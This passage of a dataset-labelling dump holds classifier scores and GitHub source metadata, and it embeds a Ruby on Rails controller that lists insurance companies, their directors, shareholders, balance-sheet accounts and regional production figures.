"Creative Writing": 0.00011984510436873749, "Customer Support Page": 0.00018077114429482585, "Q&A Forum": 6.629391155846516e-05, "Discussion Thread": 5.315300479914137e-05, "Comment Section": 0.00016572885653251342, "Missing Content": 0.00022800272809370785, "Knowledge Article": 0.003159686464044657, "Legal Notices": 0.00016602673461204673, "News Article": 7.85253876833244e-05, "Organizational Announcement": 9.648393658000546e-05, "Nonfiction Writing": 0.00011067013294214711, "Organizational About Page": 9.360685083766802e-05, "Personal About Page": 8.671211606032673e-05, "Personal Blog": 8.352664800673426e-05, "Product Page": 4.787910137077134e-05, "Spam / Ads": 0.00011861786471110614, "Structured Data": 0.006549514193719058, "Technical Writing": 0.008666640325903339, "Transcript / Interview": 9.750393155823923e-05, "Tutorial / How-To Guide": 0.0076171432002885035, "User Reviews": 4.110904103328551e-05, "NONE": 0.9718616846341924}, "tertiary": {"Academic Writing": 0.0001375986489267072, "Content Listing": 0.00012361824919604215, "Creative Writing": 0.00010491879845456646, "Customer Support Page": 0.00021640803989028475, "Q&A Forum": 6.071857801496892e-05, "Discussion Thread": 6.352974593403796e-05, "Comment Section": 0.00017758798076244163, "Missing Content": 0.0003239792944011639, "Knowledge Article": 0.003178673910785262, "Legal Notices": 0.00028591072381056986, "News Article": 6.759298593075209e-05, "Organizational Announcement": 0.0001124590772420458, "Nonfiction Writing": 0.00012251320998901623, "Organizational About Page": 0.00010287609226840456, "Personal About Page": 7.247475655428887e-05, "Personal Blog": 8.508081020083469e-05, "Product Page": 4.889676724699477e-05, "Spam / Ads": 0.00010729426084100424, "Structured Data": 0.005505150924957574, "Technical Writing": 0.011020118720918968, "Transcript / Interview": 7.218931270390666e-05, "Tutorial / How-To Guide": 0.014204925527108097, "User Reviews": 3.981795616470299e-05, "NONE": 0.9637656656276974}, "structured_records": {"false": 0.6831819462886268, "true": 0.3168180537113732}, "procedural_steps": {"false": 0.9966468527284128, "true": 0.003353147271587229}, "worked_solution": {"false": 0.9996600488628994, "true": 0.00033995113710057884}, "contextual_dialogue": {"false": 0.999994450327601, "true": 5.549672399005334e-06}, "content_quality": {"-2": 0.002931844169946795, "-1": 0.007421496481927797, "0": 0.15369920518155042, "1": 0.5036350213683839, "2": 0.33231243279819117}, "noise_severity": {"0": 0.9250590749195311, "1": 0.0701465260597932, "2": 0.003286743678451858, "3": 0.0008679258490258016, "4": 0.0006397294931979682}, "missing_content_severity": {"0": 0.9895680842453403, "1": 0.009476832565536027, "2": 0.0006356624900017156, "3": 0.00020501176473438541, "4": 0.00011440893438771368}, "factual_density": {"0": 0.001955254679009663, "1": 0.0050460885217283365, "2": 0.062299529038522844, "3": 0.3308016883567934, "4": 0.5998974394039458}, "pretraining_utility": {"-2": 0.01049101807944868, "-1": 0.13706454288848374, "0": 0.4195839135580497, "1": 0.3850880272625115, "2": 0.04777249821150642}, "math_density": {"0": 0.9877317346806693, "1": 0.011231611848173872, "2": 0.0004192544120985396, "3": 0.00021686155104160088, "4": 0.00040053750801661577}, "code_density": {"0": 0.00047602083511157696, "1": 0.0010700417915611262, "2": 0.028429397518515514, "3": 0.22185742365049144, "4": 0.7481671162043204}, "reasoning_density": {"0": 0.7711416284296012, "1": 0.21059734850095774, "2": 0.015234706522869755, "3": 0.0018956480889035345, "4": 0.001130668457667747}, "education_level": {"none": 0.0012155977591262479, "0": 0.001894251395680191, "1": 0.007586217124812226, "2": 0.49666322347280445, "3": 0.420373710941458, "4": 0.0722669993061189}, "creative_writing_quality": {"not_applicable": 0.9995392368398224, "-2": 4.479762202387802e-05, "-1": 8.737674652539891e-05, "0": 0.0002524307692489815, "1": 5.388734165074854e-05, "2": 2.227068072867006e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.066741003547183e-05, "Art & Design": 4.638888558554452e-05, "Law & Crime": 3.0469582608513034e-05, "Education & Careers": 3.547534827877045e-05, "Entertainment & Media": 2.7352665140471674e-05, "Fashion & Beauty": 2.232531853550067e-05, "Business, Economics & Finance": 4.9729864180982746e-05, "Food & Dining": 2.3586735681879664e-05, "Games & Gaming": 7.814445122105443e-05, "Electronics & Hardware": 7.376983966345852e-05, "Health, Healthcare & Wellness": 2.1359888104087965e-05, "History & Geography": 2.8344519776928748e-05, "Home, Pets & Hobbies": 2.3935757613613582e-05, "Industry & Production": 2.7491845256053028e-05, "Language, Literature & Philosophy": 4.135739879121244e-05, "Politics & Government": 1.4484089940171901e-05, "Religion & Spirituality": 2.3563960198170477e-05, "Science, Mathematics & Engineering": 0.000243401134918976, "Relationships & Community": 2.1288771549553003e-05, "Software Usage & Applications": 0.009908752172708962, "Programming & Software Engineering": 0.988936207315958, "Sports & Fitness": 4.086530003915146e-05, "Vehicles & Transportation": 1.765973636968868e-05, "Travel & Tourism": 3.266015743196627e-05, "Other / Uncovered Subject": 0.0001439507713778105, "Unknown / Insufficient Content": 5.676707903399255e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000273913199628993, "Art & Design": 0.00025043126143791555, "Law & Crime": 0.00027612801186340045, "Education & Careers": 0.0001705724029597464, "Entertainment & Media": 0.00021051915596657328, "Fashion & Beauty": 9.299065595280922e-05, "Business, Economics & Finance": 0.000319803139838609, "Food & Dining": 0.00010111213909015768, "Games & Gaming": 0.0002905719831424354, "Electronics & Hardware": 0.0002736313534429098, "Health, Healthcare & Wellness": 0.00011133345946572714, "History & Geography": 0.00011624563955507267, "Home, Pets & Hobbies": 9.188730005626935e-05, "Industry & Production": 9.699172543378191e-05, "Language, Literature & Philosophy": 0.00016680059476879754, "Politics & Government": 0.00010950333195588777, "Religion & Spirituality": 0.00013033037107961043, "Science, Mathematics & Engineering": 0.000536448956102717, "Relationships & Community": 0.0001035975908182135, "Software Usage & Applications": 0.03497983306317906, "Programming & Software Engineering": 0.017226554046338046, "Sports & Fitness": 0.00011908843835322423, "Vehicles & Transportation": 5.908982980689778e-05, "Travel & Tourism": 0.00015349108236307742, "Other / Uncovered Subject": 0.00029498025534002416, "NONE": 0.9434441510120601}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9630, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9630, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:14.884101+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "8c61e3d1-01a7-47c7-b378-7f0f9d3e4ca1", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "da451b673ec63d947352a76b7f45092b658307e4b9ac083dc6303e6a12c21db5", "source_metadata": {"uuid": "8c61e3d1-01a7-47c7-b378-7f0f9d3e4ca1", "repo_name": "jaymehta9/StackIt", "relative_path": "config/environments/test.rb", "category": "CONFIG", "algo_rel_score": 0.9836846590042114, "quality_score": 7.719175338745117, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 4, "repo_created_at": "2025-07-12T03:55:22.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "db8c603a14092c165a62c21a7779b2b10ae821e8", "size_bytes": 4658, "file_timestamp": 1752318690, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b6908b7770600dd072b8d1b1e11e4395abef0f84"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 4, "repo_created_at": "2025-07-12T03:55:22.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "db8c603a14092c165a62c21a7779b2b10ae821e8", "size_bytes": 4658, "file_timestamp": 1752318690, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b6908b7770600dd072b8d1b1e11e4395abef0f84", "url": "https://github.com/jaymehta9/StackIt/blob/b6908b7770600dd072b8d1b1e11e4395abef0f84/config/environments/test.rb"}, "gpt4o_tokens": 1083, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1549747021429448, "noise_severity": 0.08188270893656621, "missing_content_severity": 0.011820828577293468, "factual_density": 3.5216399692849376, "pretraining_utility": 0.32258644463814323, "math_density": 0.014322855357562217, "code_density": 3.716169572597348, "reasoning_density": 0.25127637964407884, "education_level": 2.554206682038302, "creative_writing_quality": -0.17046347072274368}, "score_applicability": {"education_level": 0.9987844022408737, "creative_writing_quality": 0.00046076316017767705}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/matiasbattocchia/panel-on-rails/blob/06d771ac5c2afa1c7e99160d8b000995520ad982/app/controllers/companies_controller.rb", "id": "ruby-0-0a1da8a117b790ffd87f64ed87f868af", "text": "# encoding: utf-8\ndef user\n session[:user]\nend\n\ndef authenticate!\n unless user\n redirect_to 'http://192.168.1.108:8080/LoginLocal/'\n end\nend\n\nclass CompaniesController < ApplicationController\n def logout\n session[:user] = nil\n redirect_to '/'\n end\n\n def index\n if params[:idSession]\n respuesta = $client.call(:get_user_by_session, soap_action: false, message: {idSesionAbierta: params[:idSession]}).body[:get_user_by_session_response][:return]\n session[:user] = respuesta[:nombre] + ' ' + respuesta[:apellido]\n end\n\n @companies = Company.includes(:status).select('CiaId, DenominacionCorta, Estado_ID').order :CiaId\n\n respond_to do |format|\n format.html { render layout: 'application' }\n format.json { render json: @companies }\n end\n end\n\n def data\n @company = Company.find params[:id]\n @branches = @company.branches.where Fecha_Baja: nil, Tipo: 'S'\n @agencies = @company.branches.where Fecha_Baja: nil, Tipo: 'A'\n @president = @company.directors.where(Funcion_DL: 'Presidente').order(:DirectorioID).last\n @shareholder = @company.shareholders.order(:AccionistasID, :Participacion).last\n end\n\n # def headquarters\n # @company = Company.find params[:id]\n # end\n\n # def branches\n # @company = Company.find params[:id]\n # @branches = @company.branches.where Fecha_Baja: nil, Tipo: 'S'\n # render locals: { title: 'Sucursales', branches: @branches }\n # end\n\n # def agencies\n # @company = Company.find params[:id]\n # @agencies = @company.branches.where Fecha_Baja: nil, Tipo: 'A'\n # render locals: { title: 'Agencias', branches: @agencies }, template: 'companies/branches'\n # end\n\n def directors\n @company = Company.find params[:id]\n @last_presentation = @company.directors.maximum :DirectorioID\n @presentation = params[:presentation] || @last_presentation\n @directors = @company.directors.where DirectorioID: @presentation\n end\n\n def shareholders\n @company = Company.find params[:id]\n @last_presentation = @company.shareholders.maximum :AccionistasID\n @presentation = params[:presentation] || @last_presentation\n @shareholders = @company.shareholders.where AccionistasID: @presentation\n end\n\n def balance\n authenticate!\n\n activo = { 'Disponibilidades' => '1.01.00.00.00.00.00.00',\n 'Inversiones' => '1.02.00.00.00.00.00.00',\n 'Créditos' => '1.03.00.00.00.00.00.00',\n 'Inmuebles' => '1.04.00.00.00.00.00.00',\n 'Bienes de uso' => '1.05.00.00.00.00.00.00',\n 'Otros activos' => '1.06.00.00.00.00.00.00' }\n\n pasivo = { 'Deudas con asegurados' => '2.01.01.00.00.00.00.00',\n 'Otras deudas' =>['2.01.02.01.00.00.00.00',\n '2.01.02.02.00.00.00.00',\n '2.01.02.04.00.00.00.00',\n '2.01.03.01.00.00.00.00',\n '2.01.04.04.04.01.00.00',\n '2.01.04.04.04.02.00.00',\n '2.01.04.04.04.03.01.00',\n '2.01.04.04.04.03.02.00',\n '2.01.04.04.04.04.01.00',\n '2.01.04.04.04.04.02.00',\n '2.01.04.04.04.50.00.00',\n '2.01.04.04.04.51.00.00',\n '2.01.05.01.01.00.00.00',\n '2.01.05.02.02.00.00.00',\n '2.01.05.03.03.00.00.00',\n '2.01.06.06.06.00.00.00'],\n 'Compromisos técnicos' => '2.02.00.00.00.00.00.00',\n 'Previsiones' => '2.03.00.00.00.00.00.00',\n 'Participación de terceros en sociedades controladas' => '2.04.00.00.00.00.00.00' }\n\n @company = Company.find params[:id]\n\n @periods = @company.presentations.where('ID_ultima_entrega IS NOT NULL').includes(:schedule).map { |presentation| {periodo: presentation.schedule.periodo, ID_ultima_entrega: presentation.ID_ultima_entrega} }.sort_by { |k| k[:periodo] }\n\n @period = @periods.find { |k| k[:periodo] == params[:periodo] } || @periods.last\n\n if @period\n account_plan = AccountPlan.find(@period[:ID_ultima_entrega])\n @assets = account_plan.accounts.values activo\n @liabilities = account_plan.accounts.values pasivo\n else\n #TODO: Pantalla datos no encontrados.\n end\n end\n\n def search\n redirect_to URI.escape('/compañías/' + Company.find(params['código']).id + '/datos/general')\n end\n\n def map\n @company = Company.find params[:id]\n @period = params[:periodo] || '2012'\n @branch = params[:ramo] || 'todos'\n\n @production = if @branch == 'todos'\n @company.productions.where(id_tie_anio: @period).select('id_geo_provincia as provincia_id, sum(i_pro_imp_produccion) as produccion').group('id_geo_provincia')\n else\n @company.productions.where(id_tie_anio: @period, id_pro_ramo_produccion: @branch).select('id_geo_provincia as provincia_id, i_pro_imp_produccion as produccion')\n end.all.to_json\n\n @evolution = if @branch == 'todos'\n @company.productions.select('sum(i_pro_imp_produccion) as produccion, id_tie_anio as anio').group('id_tie_anio').order('id_tie_anio')\n else\n @company.productions.where(id_pro_ramo_produccion: @branch).select('sum(i_pro_imp_produccion) as produccion, id_tie_anio as anio').group('id_tie_anio').order('id_tie_anio')\n end.all.to_json\n end\nend\n", "text_preview": "# encoding: utf-8 def user session[:user] end def authenticate! unless user redirect_to 'http://192.168.1.108:8080/LoginLocal/' end end class CompaniesController < ApplicationController def logout session[:user] = nil redirect_to '/' end de", "input_sha256": "769680839efb42bcc3c88cf3337b19084b2655558b22f21df4a740ebbe27e831", "text_sha256": "0a1da8a117b790ffd87f64ed87f868af496e532506cf9bb331ab2075527daf70", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16011, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.6322356414932258, "noise_severity": 0.12451246842271717, "missing_content_severity": 0.15425435791423253, "factual_density": 3.3035397325337876, "pretraining_utility": 0.254974081880579, "math_density": 0.06757809234971998, "code_density": 3.756655269071365, "reasoning_density": 0.26877908033344505, "education_level": 2.254478455197487, "creative_writing_quality": -0.41627372110962707}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.012919345972883911, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9956337776900914, "secondary": 0.9178359699736823, "tertiary": 0.9313170266410398, "structured_records": 0.5736835387586929, "procedural_steps": 0.0010140486427233743, "worked_solution": 0.0008562668977914385, "contextual_dialogue": 5.2698548727742854e-06, "content_quality": 0.45154582201752813, "noise_severity": 0.8962396096477356, "missing_content_severity": 0.8714547017381395, "factual_density": 0.4196164437781561, "pretraining_utility": 0.5003221684544543, "math_density": 0.9436849230419, "code_density": 0.7972127242261373, "reasoning_density": 0.7760174330554626, "education_level": 0.6760177595463783, "creative_writing_quality": 0.9993360822079181, "primary_topic": 0.9555226635444029, "secondary_topic": 0.5293120897002808}, "probability_margin": {"primary": 0.9939241592739069, "secondary": 0.8691153277541481, "tertiary": 0.890480483517772, "education_level": 0.4952871225842465, "creative_writing_quality": 0.9992060724347084, "primary_topic": 0.921750463311729, "secondary_topic": 0.16590387702033305}, "raw_probabilities": {"primary": {"Academic Writing": 3.3656230579634905e-05, "Content Listing": 4.4421607500588734e-05, "Creative Writing": 1.7535331654126675e-05, "Customer Support Page": 8.597026097146644e-06, "Q&A Forum": 1.0730557918910085e-05, "Discussion Thread": 7.447364584692532e-06, "Comment Section": 1.0872521185775198e-05, "Missing Content": 2.2759505286629856e-05, "Knowledge Article": 4.8794198775014725e-05, "Legal Notices": 2.644064429348112e-05, "News Article": 4.244592620452899e-06, "Organizational Announcement": 9.965361400987706e-06, "Nonfiction Writing": 1.041550554123156e-05, "Organizational About Page": 1.4789934934902431e-05, "Personal About Page": 1.5012580803443013e-05, "Personal Blog": 7.472866559014646e-06, "Product Page": 7.702136411680437e-06, "Spam / Ads": 9.741126189286573e-06, "Structured Data": 0.0018915443457641432, "Technical Writing": 0.995815703619671, "Transcript / Interview": 1.2379977113126397e-05, "Tutorial / How-To Guide": 0.00011923541728427067, "User Reviews": 5.548860372405042e-06, "Other / Unknown": 0.00184498868745766}, "secondary": {"Academic Writing": 0.00032586094801038344, "Content Listing": 0.0008720532764586077, "Creative Writing": 0.00026912246700596445, "Customer Support Page": 0.0001261364247415279, "Q&A Forum": 0.00012017383703793296, "Discussion Thread": 0.00011399481743276779, "Comment Section": 0.0003177208314769271, "Missing Content": 0.0010472426415241577, "Knowledge Article": 0.00042369342407620015, "Legal Notices": 0.00029701769815791387, "News Article": 0.00015857834385869647, "Organizational Announcement": 0.0001300595910921713, "Nonfiction Writing": 0.000157324096266649, "Organizational About Page": 0.00019959194340036027, "Personal About Page": 0.000145595044386114, "Personal Blog": 0.00013705121712904235, "Product Page": 0.00010271075770692128, "Spam / Ads": 0.0001584744814380482, "Structured Data": 0.05214414347063077, "Technical Writing": 0.02089356183018343, "Transcript / Interview": 0.00018118732043892856, "Tutorial / How-To Guide": 0.0003512252109845896, "User Reviews": 6.800910178292572e-05, "NONE": 0.9212594712247789}, "tertiary": {"Academic Writing": 0.0001792192751353778, "Content Listing": 0.0006293984953999783, "Creative Writing": 0.00017916006224128568, "Customer Support Page": 8.46517417170903e-05, "Q&A Forum": 7.422423686842174e-05, "Discussion Thread": 7.817043188113057e-05, "Comment Section": 0.000820475187915076, "Missing Content": 0.0015282326225212856, "Knowledge Article": 0.0004301399994920478, "Legal Notices": 0.00034650872545841, "News Article": 0.00011043959358611877, "Organizational Announcement": 9.453897318484499e-05, "Nonfiction Writing": 0.00013820506687983709, "Organizational About Page": 0.00017632147683445962, "Personal About Page": 0.00010608987300872298, "Personal Blog": 8.280880562127187e-05, "Product Page": 8.425347076307561e-05, "Spam / Ads": 0.0001379812497495761, "Structured Data": 0.043698333679891135, "Technical Writing": 0.01641775358018824, "Transcript / Interview": 0.00011466062954100935, "Tutorial / How-To Guide": 0.00026141599135941955, "User Reviews": 4.8199633099167774e-05, "NONE": 0.9341788171976632}, "structured_records": {"false": 0.42631646124130707, "true": 0.5736835387586929}, "procedural_steps": {"false": 0.9989859513572766, "true": 0.0010140486427233743}, "worked_solution": {"false": 0.9991437331022086, "true": 0.0008562668977914385}, "contextual_dialogue": {"false": 0.9999947301451272, "true": 5.2698548727742854e-06}, "content_quality": {"-2": 0.014302792127900544, "-1": 0.07069704671187718, "0": 0.32865221623541424, "1": 0.44115761738871206, "2": 0.14519032753609595}, "noise_severity": {"0": 0.8895437262658608, "1": 0.09949651058604034, "2": 0.008586813125573016, "3": 0.001649468504573063, "4": 0.0007234815179529038}, "missing_content_severity": {"0": 0.8600510896313662, "1": 0.13025621935470047, "2": 0.0059814347088578525, "3": 0.0028097560784854747, "4": 0.0009015002265899826}, "factual_density": {"0": 0.009259413755548581, "1": 0.018788807711241137, "2": 0.10972419258641604, "3": 0.38360780413746276, "4": 0.4786197818093314}, "pretraining_utility": {"-2": 0.012546259565487187, "-1": 0.1472271388560635, "0": 0.45998634040102104, "1": 0.33318678248723943, "2": 0.047053478690188714}, "math_density": {"0": 0.9538089939571923, "1": 0.03322399479315918, "2": 0.007715080685554025, "3": 0.0020837860709250295, "4": 0.0031681444931694175}, "code_density": {"0": 0.00030365858402842604, "1": 0.0006767724968831688, "2": 0.026505080960071495, "3": 0.187089617181729, "4": 0.785424870777288}, "reasoning_density": {"0": 0.8376044251868802, "1": 0.07323032156570375, "2": 0.07555389274442181, "3": 0.010004468733079589, "4": 0.0036068917699147228}, "education_level": {"none": 0.001539929277480175, "0": 0.001536237999386495, "1": 0.013977112263984673, "2": 0.7300147996219819, "3": 0.2347276770377354, "4": 0.01820424379943146}, "creative_writing_quality": {"not_applicable": 0.9994467351732651, "-2": 9.61064917161733e-05, "-1": 0.00013864909929238372, "0": 0.00024066273855676657, "1": 5.514051979883546e-05, "2": 2.2705977370907748e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.5982825026619884e-05, "Art & Design": 0.0001256795004103875, "Law & Crime": 0.0003366605448053119, "Education & Careers": 0.0001066827968167674, "Entertainment & Media": 7.540040051737043e-05, "Fashion & Beauty": 8.4597835326312e-05, "Business, Economics & Finance": 0.03548286701942746, "Food & Dining": 0.00012857710826445426, "Games & Gaming": 0.00015020837227541897, "Electronics & Hardware": 0.00013675075897543086, "Health, Healthcare & Wellness": 0.00014012227060435716, "History & Geography": 0.00014411878105408287, "Home, Pets & Hobbies": 7.497912566216422e-05, "Industry & Production": 0.0022419745206415666, "Language, Literature & Philosophy": 9.032624062035596e-05, "Politics & Government": 0.0005180990529287165, "Religion & Spirituality": 0.00011186526986189554, "Science, Mathematics & Engineering": 0.0002051780867649807, "Relationships & Community": 4.9576918973993115e-05, "Software Usage & Applications": 0.0006344783496079705, "Programming & Software Engineering": 0.9572333303311565, "Sports & Fitness": 9.19561021646544e-05, "Vehicles & Transportation": 5.459489744721063e-05, "Travel & Tourism": 8.938729898130331e-05, "Other / Uncovered Subject": 0.0014011218630641524, "Unknown / Insufficient Content": 0.00023548372862064319}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007546239200487754, "Art & Design": 0.0009812830361136963, "Law & Crime": 0.0023544100650058474, "Education & Careers": 0.0006093450814459893, "Entertainment & Media": 0.0007050984546172023, "Fashion & Beauty": 0.0005530508487690486, "Business, Economics & Finance": 0.3815115938453215, "Food & Dining": 0.0005690564236646813, "Games & Gaming": 0.0007673676541493597, "Electronics & Hardware": 0.0006893684543141066, "Health, Healthcare & Wellness": 0.0008888637204761951, "History & Geography": 0.0008076680606411347, "Home, Pets & Hobbies": 0.00046404166834935134, "Industry & Production": 0.0020922960029408667, "Language, Literature & Philosophy": 0.000506617246170603, "Politics & Government": 0.0013711984311243481, "Religion & Spirituality": 0.0007259497361219419, "Science, Mathematics & Engineering": 0.0006720625485711549, "Relationships & Community": 0.0003002796042608232, "Software Usage & Applications": 0.002864498493407435, "Programming & Software Engineering": 0.048314657881226776, "Sports & Fitness": 0.00036947986891864773, "Vehicles & Transportation": 0.00029598500795895947, "Travel & Tourism": 0.000597221439206628, "Other / Uncovered Subject": 0.0028185116415204315, "NONE": 0.5474154708656546}}, "probabilities": {"primary": {"Academic Writing": 3.365623057963492e-05, "Content Listing": 4.4421607500588755e-05, "Creative Writing": 1.7535331654126682e-05, "Customer Support Page": 8.597026097146648e-06, "Q&A Forum": 1.073055791891009e-05, "Discussion Thread": 7.447364584692535e-06, "Comment Section": 1.0872521185775203e-05, "Missing Content": 2.2759505286629866e-05, "Knowledge Article": 4.8794198775014746e-05, "Legal Notices": 2.644064429348113e-05, "News Article": 4.244592620452901e-06, "Organizational Announcement": 9.96536140098771e-06, "Nonfiction Writing": 1.0415505541231565e-05, "Organizational About Page": 1.4789934934902438e-05, "Personal About Page": 1.501258080344302e-05, "Personal Blog": 7.472866559014649e-06, "Product Page": 7.70213641168044e-06, "Spam / Ads": 9.741126189286578e-06, "Structured Data": 0.001891544345764144, "Technical Writing": 0.9958157036196714, "Transcript / Interview": 1.2379977113126402e-05, "Tutorial / How-To Guide": 0.00011923541728427073, "User Reviews": 5.5488603724050446e-06, "Other / Unknown": 0.0018449886874576608}, "secondary": {"Academic Writing": 0.0003258609480103835, "Content Listing": 0.0008720532764586078, "Creative Writing": 0.0002691224670059645, "Customer Support Page": 0.00012613642474152792, "Q&A Forum": 0.00012017383703793297, "Discussion Thread": 0.0001139948174327678, "Comment Section": 0.00031772083147692715, "Missing Content": 0.001047242641524158, "Knowledge Article": 0.0004236934240762002, "Legal Notices": 0.0002970176981579139, "News Article": 0.0001585783438586965, "Organizational Announcement": 0.00013005959109217133, "Nonfiction Writing": 0.00015732409626664903, "Organizational About Page": 0.0001995919434003603, "Personal About Page": 0.00014559504438611402, "Personal Blog": 0.00013705121712904238, "Product Page": 0.00010271075770692129, "Spam / Ads": 0.00015847448143804823, "Structured Data": 0.052144143470630774, "Technical Writing": 0.020893561830183434, "Transcript / Interview": 0.0001811873204389286, "Tutorial / How-To Guide": 0.00035122521098458965, "User Reviews": 6.800910178292573e-05, "NONE": 0.921259471224779}, "tertiary": {"Academic Writing": 0.00017921927513537777, "Content Listing": 0.0006293984953999782, "Creative Writing": 0.00017916006224128565, "Customer Support Page": 8.465174171709028e-05, "Q&A Forum": 7.422423686842173e-05, "Discussion Thread": 7.817043188113055e-05, "Comment Section": 0.0008204751879150757, "Missing Content": 0.0015282326225212852, "Knowledge Article": 0.0004301399994920477, "Legal Notices": 0.00034650872545840996, "News Article": 0.00011043959358611874, "Organizational Announcement": 9.453897318484496e-05, "Nonfiction Writing": 0.00013820506687983706, "Organizational About Page": 0.0001763214768344596, "Personal About Page": 0.00010608987300872295, "Personal Blog": 8.280880562127185e-05, "Product Page": 8.42534707630756e-05, "Spam / Ads": 0.00013798124974957607, "Structured Data": 0.04369833367989113, "Technical Writing": 0.016417753580188238, "Transcript / Interview": 0.00011466062954100932, "Tutorial / How-To Guide": 0.0002614159913594195, "User Reviews": 4.819963309916776e-05, "NONE": 0.9341788171976629}, "structured_records": {"false": 0.42631646124130707, "true": 0.5736835387586929}, "procedural_steps": {"false": 0.9989859513572766, "true": 0.0010140486427233743}, "worked_solution": {"false": 0.9991437331022086, "true": 0.0008562668977914385}, "contextual_dialogue": {"false": 0.9999947301451272, "true": 5.2698548727742854e-06}, "content_quality": {"-2": 0.014302792127900544, "-1": 0.07069704671187718, "0": 0.32865221623541424, "1": 0.44115761738871206, "2": 0.14519032753609595}, "noise_severity": {"0": 0.8895437262658608, "1": 0.09949651058604034, "2": 0.008586813125573016, "3": 0.001649468504573063, "4": 0.0007234815179529038}, "missing_content_severity": {"0": 0.8600510896313662, "1": 0.13025621935470047, "2": 0.0059814347088578525, "3": 0.0028097560784854747, "4": 